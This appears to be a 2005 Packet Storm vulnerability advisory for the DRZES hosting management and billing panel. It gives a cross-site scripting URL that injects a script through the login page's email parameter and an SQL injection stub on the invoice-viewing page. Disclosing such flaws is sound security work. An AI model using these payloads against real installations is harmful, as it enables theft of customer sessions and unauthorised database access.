DRZESHMS.txt

2005-12-14T00:00:00
ID PACKETSTORM:42227
Type packetstorm
Reporter Vipsta
Modified 2005-12-14T00:00:00

Description

                                        
                                            `Description: (http://www.drzes.com/)  
An all-in-one web hosting management system.  
A feature-rich, robust, easy-to-use control panel and billing system.  
A "self-branding" web hosting management system. No DRZES branding.  
Both the admin and customer can control multiple plans/servers from one centralized location.  
A "install anytime" solution. Clean OS installs are not required to install the DRZES HMS.  
  
XSS Exploit:  
http://[HOST]/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
SQL-Injection:  
http://[HOST]customers/viewinvoice.php?invoiceID=-99[SQL]  
  
`